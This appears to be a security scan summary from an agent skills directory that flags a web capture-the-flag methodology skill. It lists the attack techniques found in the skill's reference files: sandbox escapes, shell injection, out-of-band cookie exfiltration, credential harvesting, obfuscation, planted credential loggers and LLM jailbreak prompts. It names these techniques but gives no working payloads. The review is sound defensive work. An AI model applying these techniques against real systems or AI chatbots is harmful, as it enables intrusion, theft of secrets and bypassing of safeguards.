The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: Multiple files contain functional patterns for Remote Code Execution. references/server-side-exec.md details Ruby instance_eval breakouts, Perl open() RCE, and LaTeX \input{|"id"} techniques. references/node-and-prototype.md includes explicit Node.js VM sandbox escapes using this.constructor.constructor to access the host process and execute shell commands.
[COMMAND_EXECUTION]: references/server-side-2.md and references/cves.md describe techniques for shell injection, including newline bypasses (%0a) in Git CLI and barcode concatenation to shell injection. It specifically targets unsanitized system() and exec() calls.
[PROMPT_INJECTION]: references/auth-and-access.md contains a section on 'LLM/AI Chatbot Jailbreak' with specific instructions to bypass safety filters, including 'System Override', 'Instruction leak', and 'Role delimiter injection' to extract hidden flags/secrets.
[DATA_EXFILTRATION]: references/client-side.md and references/client-side-advanced.md detail OOB (Out-of-Band) exfiltration techniques using DNS, Webhooks, and CSS-only oracles. It includes patterns for stealing cookies and sensitive data via fetch() to attacker-controlled domains.
[OBFUSCATION]: The skill documents and uses various obfuscation methods to hide malicious intent, including 'JSFuck' decoding ([]()!+), 'AAEncode/JJEncode', and 'Terminal Control Character Obfuscation' (using backspaces \x08 to hide data).
[CREDENTIALS_UNSAFE]: references/auth-infra.md and references/cves.md discuss harvesting credentials from .netrc files, CI/CD variables, and Git history. It also includes patterns for hardcoded secret extraction from obfuscated JavaScript.
[PRIVILEGE_ESCALATION]: Documents vertical privilege escalation via IDOR on 'Work-in-Progress' endpoints and exploiting unprotected governance setters in smart contracts to gain admin control via delegatecall storage context abuse.
[DYNAMIC_EXECUTION]: references/node-and-prototype.md details prototype pollution to enable JavaScript evaluation in happy-dom and vm2, leading to RCE. references/server-side-exec-2.md describes poisoning PHP7 OPcache binary files to execute arbitrary bytecode.
[INDIRECT_PROMPT_INJECTION]: Category 8 vulnerability surface is identified in references/auth-and-access.md where LLM chatbots ingest untrusted user input that can contain instructions to override the system persona.
[PERSISTENCE]: Documents persistence through 'Login Page Poisoning' where a credential logger is injected into a web application to capture plaintext passwords over time in /dev/shm/.

ctf-web-methodology